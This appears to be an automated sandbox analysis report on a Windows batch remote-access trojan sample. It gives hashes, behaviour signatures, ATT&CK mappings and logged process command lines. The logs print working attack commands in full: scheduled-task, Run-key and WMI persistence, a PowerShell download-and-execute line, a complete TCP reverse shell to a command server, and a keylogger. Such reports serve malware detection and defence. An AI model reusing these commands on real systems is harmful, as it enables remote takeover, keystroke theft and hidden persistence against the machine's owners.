Analysis
- max time kernel
149s - max time network
101s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:18
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_53298_014217.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_53298_014217.bat
Resource
win11-20260513-en
General
- Target rat_build_53298_014217.bat
- Size 4KB
- Sample260529-174hhact2l
- SHA256 9f676574a69cb899db7f2211490e82910c3297275b294cd6745d5d69cef53e76
- MD5 51730620a92aaf7a55b7d3f255b43d40
- SHA1 cb8aa83b1dc2288fc2ef60ffd5a3d77fd3fc74fa
- SHA512 e67a82f6eba26272bbac8c5e20e973c4e728a7f8498d390eb8cb70f40ff40e3347c428715ca8b1b1ef9c1da3b9e334e3e613ff911a89433056a40127f9d1bd4d
- SSDEEP 96:KIkL/KWlqLDLGSq3RVyY9gDIinAnUCv44gBD/8IiFgZk8mvlo1PzfOf:K1zNlqf4yY9/nz1kiFgkHlmzf6
- TLSH T1A6B1E823974BA62455B12A18EA723C14472CF9F71380C9CEFA85CEC40A4CB4399BD6F7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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ps1
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ps1.dropper
http://payload.server/update_53298.ps1
Signatures
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pid Process 932 powershell.exe 1888 powershell.exe 836 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_53298 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_53298.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3548 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1728 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 6132 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5852 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 932 powershell.exe 932 powershell.exe 1888 powershell.exe 1888 powershell.exe 836 powershell.exe 836 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5192 WMIC.exe Token: SeSecurityPrivilege 5192 WMIC.exe Token: SeTakeOwnershipPrivilege 5192 WMIC.exe Token: SeLoadDriverPrivilege 5192 WMIC.exe Token: SeSystemProfilePrivilege 5192 WMIC.exe Token: SeSystemtimePrivilege 5192 WMIC.exe Token: SeProfSingleProcessPrivilege 5192 WMIC.exe Token: SeIncBasePriorityPrivilege 5192 WMIC.exe Token: SeCreatePagefilePrivilege 5192 WMIC.exe Token: SeBackupPrivilege 5192 WMIC.exe Token: SeRestorePrivilege 5192 WMIC.exe Token: SeShutdownPrivilege 5192 WMIC.exe Token: SeDebugPrivilege 5192 WMIC.exe Token: SeSystemEnvironmentPrivilege 5192 WMIC.exe Token: SeRemoteShutdownPrivilege 5192 WMIC.exe Token: SeUndockPrivilege 5192 WMIC.exe Token: SeManageVolumePrivilege 5192 WMIC.exe Token: 33 5192 WMIC.exe Token: 34 5192 WMIC.exe Token: 35 5192 WMIC.exe Token: 36 5192 WMIC.exe Token: SeIncreaseQuotaPrivilege 5192 WMIC.exe Token: SeSecurityPrivilege 5192 WMIC.exe Token: SeTakeOwnershipPrivilege 5192 WMIC.exe Token: SeLoadDriverPrivilege 5192 WMIC.exe Token: SeSystemProfilePrivilege 5192 WMIC.exe Token: SeSystemtimePrivilege 5192 WMIC.exe Token: SeProfSingleProcessPrivilege 5192 WMIC.exe Token: SeIncBasePriorityPrivilege 5192 WMIC.exe Token: SeCreatePagefilePrivilege 5192 WMIC.exe Token: SeBackupPrivilege 5192 WMIC.exe Token: SeRestorePrivilege 5192 WMIC.exe Token: SeShutdownPrivilege 5192 WMIC.exe Token: SeDebugPrivilege 5192 WMIC.exe Token: SeSystemEnvironmentPrivilege 5192 WMIC.exe Token: SeRemoteShutdownPrivilege 5192 WMIC.exe Token: SeUndockPrivilege 5192 WMIC.exe Token: SeManageVolumePrivilege 5192 WMIC.exe Token: 33 5192 WMIC.exe Token: 34 5192 WMIC.exe Token: 35 5192 WMIC.exe Token: 36 5192 WMIC.exe Token: SeIncreaseQuotaPrivilege 1876 WMIC.exe Token: SeSecurityPrivilege 1876 WMIC.exe Token: SeTakeOwnershipPrivilege 1876 WMIC.exe Token: SeLoadDriverPrivilege 1876 WMIC.exe Token: SeSystemProfilePrivilege 1876 WMIC.exe Token: SeSystemtimePrivilege 1876 WMIC.exe Token: SeProfSingleProcessPrivilege 1876 WMIC.exe Token: SeIncBasePriorityPrivilege 1876 WMIC.exe Token: SeCreatePagefilePrivilege 1876 WMIC.exe Token: SeBackupPrivilege 1876 WMIC.exe Token: SeRestorePrivilege 1876 WMIC.exe Token: SeShutdownPrivilege 1876 WMIC.exe Token: SeDebugPrivilege 1876 WMIC.exe Token: SeSystemEnvironmentPrivilege 1876 WMIC.exe Token: SeRemoteShutdownPrivilege 1876 WMIC.exe Token: SeUndockPrivilege 1876 WMIC.exe Token: SeManageVolumePrivilege 1876 WMIC.exe Token: 33 1876 WMIC.exe Token: 34 1876 WMIC.exe Token: 35 1876 WMIC.exe Token: 36 1876 WMIC.exe Token: SeIncreaseQuotaPrivilege 1876 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1232 wrote to memory of 5852 1232 cmd.exe 83 PID 1232 wrote to memory of 6132 1232 cmd.exe 84 PID 1232 wrote to memory of 5192 1232 cmd.exe 85 PID 1232 wrote to memory of 1876 1232 cmd.exe 86 PID 1232 wrote to memory of 4812 1232 cmd.exe 87 PID 1232 wrote to memory of 1728 1232 cmd.exe 88 PID 1232 wrote to memory of 3548 1232 cmd.exe 92 PID 1232 wrote to memory of 932 1232 cmd.exe 93 PID 1232 wrote to memory of 1888 1232 cmd.exe 94 PID 1232 wrote to memory of 836 1232 cmd.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_53298_014217.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_53298" /tr "C:\Users\Admin\AppData\Local\Temp\_53298.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5852
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_53298" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_53298.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:6132
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_53298", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5192
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_53298", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_53298.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1876
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_53298.txt2⤵PID:4812
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C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1728
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C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3548
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_53298.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:836
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftcf1ys4.pt2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH